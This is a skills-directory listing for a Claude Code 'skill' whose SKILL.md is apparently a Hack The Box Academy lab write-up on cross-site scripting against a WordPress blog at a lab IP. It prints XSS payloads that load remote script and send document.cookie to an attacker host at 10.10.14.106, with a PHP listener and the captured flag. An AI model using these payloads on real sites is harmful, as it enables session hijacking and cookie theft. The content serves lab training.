Skip to content
Back to skills

Cross Site Scripting

ASecurity

We are performing a Web Application Penetration Testing task for a company that hired you, which just released their new Security Blog. In our Web Application Penetration Testing plan, we reached the part where you must test the web application against Cross-Site Scripting vulnerabilities (XSS). Start the server below, make sure you are connected to the VPN, and access the /assessment directory on the server using the browser: 1. Identify a user-input field that is vulnerable to an XSS vulner...

  • 3 stars
  • 0 votes
  • 0 copies
  • 5 views
  • Added February 7, 2026
securityphptestingsecurity

Security analysis

A100/100

Pro scans all 4 files and shows the line behind each finding

Scanned February 12, 2026

npx -y skills add Anchovy317/CBBH --skill Cross-Site_Scripting --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Cross Site Scripting?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Cross Site Scripting
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/anchovy317-cross-site-scripting/badge)](https://www.skillsdirectory.com/skills/anchovy317-cross-site-scripting)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
We are performing a Web Application Penetration Testing task for a company that hired you, which just released their new Security Blog. In our Web Application Penetration Testing plan, we reached the part where you must test the web application against Cross-Site Scripting vulnerabilities (XSS).
Start the server below, make sure you are connected to the VPN, and access the /assessment directory on the server using the browser:

1. Identify a user-input field that is vulnerable to an XSS vulnerability.
2. Flag a working XSS payload that execute JS copde on the target.
3. Session hijacking tecniques.


We can detect the 2 XSS injections

1. [http://10.129.90.135/assessment/index.php/2021/06/11/welcome-to-security-blog/]

2. [http://10.129.90.135/assessment/index.php/author/xss/]

Firt we must ti identify the XSS payload.
we can try with paste the XSS:
```js
<script src="http://10.10.14.106/script.js"></script>
// And sniffing the traffic with the php
sudo php -S 0.0.0.0:80
// Then change the the code js:
new Image().src='http://10.10.14.106:8080/index.php?c='+document.cookie
// And try the XSS
"><script src="http://10.10.14.106:8080/index.php></script>
```
And we GET the Flag:
GET /index.php?c=wordpress_test_cookie=WP%20Cookie%20check;%20wp-settings-time-2=1743066256;%20flag=HTB{cr055_5173_5cr1p71n6_n1nj4}
https://academy.hackthebox.com/achievement/349590/103

Files in this skill

  • XSS_ATTACK.md22.1 KB
  • XSS_Basic.md14.2 KB
  • script.php338 B
  • skill.md1.3 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.